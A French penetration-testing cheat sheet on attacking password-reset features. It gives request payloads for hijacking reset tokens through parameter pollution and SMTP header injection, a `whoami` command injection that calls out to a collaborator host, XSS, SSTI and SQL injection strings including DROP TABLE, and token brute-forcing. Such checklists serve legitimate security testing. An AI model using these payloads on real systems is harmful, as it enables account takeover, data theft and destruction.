Réinitialisation de mots de passe
Voici quelques pistes de tests à effectuer lorsque l’on rencontre une fonctionnalité de réinitialisation de mots de passe.
Types d’attaques
Interception du jeton
Ces différentes injections ont pour but de recevoir le jeton de réinitialisation par e-mail en s’ajoutant une deuxième adresse e-mail maîtrisée :
POST /resetPassword HTTP/1.1
...
email=victime@email.com&email=hacker@email.comPuis avec des séparateurs tels que %20, , ou | :
POST /resetPassword HTTP/1.1
...
email=victime@email.com%20email=hacker@email.com
email=victime@email.com|email=hacker@email.com
email=victime@email.com,email=hacker@email.comOu encore avec une injection CRLF et SMTP %0a%0dcc: :
POST /resetPassword HTTP/1.1
...
email=victime@email.com%0a%0dcc:email=hacker@email.comDéclenchement d’erreurs
Essayer de réinitialiser le mot de passe en entrant une valeur non e-mail dans le paramètre e-mail :
POST /resetPassword HTTP/1.1
...
email=hackerInjections
Sur un malentendu, ça peut fonctionner !
POST /resetPassword HTTP/1.1
...
email=hacker@`whoami`.id.collaborator.netEssayer les payloads suivants pour tester les XSS, SSTI, SQLI etc.
POST /resetPassword HTTP/1.1
...
me+(<script>alert(0)</script>)@gmail.com
me(<script>alert(0)</script>)@gmail.com
me@gmail(<script>alert(0)</script>).com
"<script>alert(0)</script>"@gmail.com
"<%= 7 * 7 %>"@gmail.com
me+(${{7*7}})@gmail.com
"' OR 1=1 -- '"@gmail.com
"me); DROP TABLE users;--"@gmail.com
me@[id.collaborator.net]
%@gmail.comManipulation des jetons
Utiliser son propre jeton sur un autre e-mail
POST /resetPassword HTTP/1.1
...
email=victime@email.com&token=$MY_TOKENMettre des mauvaises valeurs en jeton (0000 ou null)
POST /resetPassword HTTP/1.1
...
email=victime@email.com&token=00000000Essayer de bruteforcer le jeton avec BurpSuite
POST /resetPassword HTTP/1.1
...
email=victime@email.com&token=$BRUTEFORCEFuzzer les paramètres
Vérifier la présence d’autres paramètres potentiellement cachés dans la requête avec l’extension BurpSuite param-miner.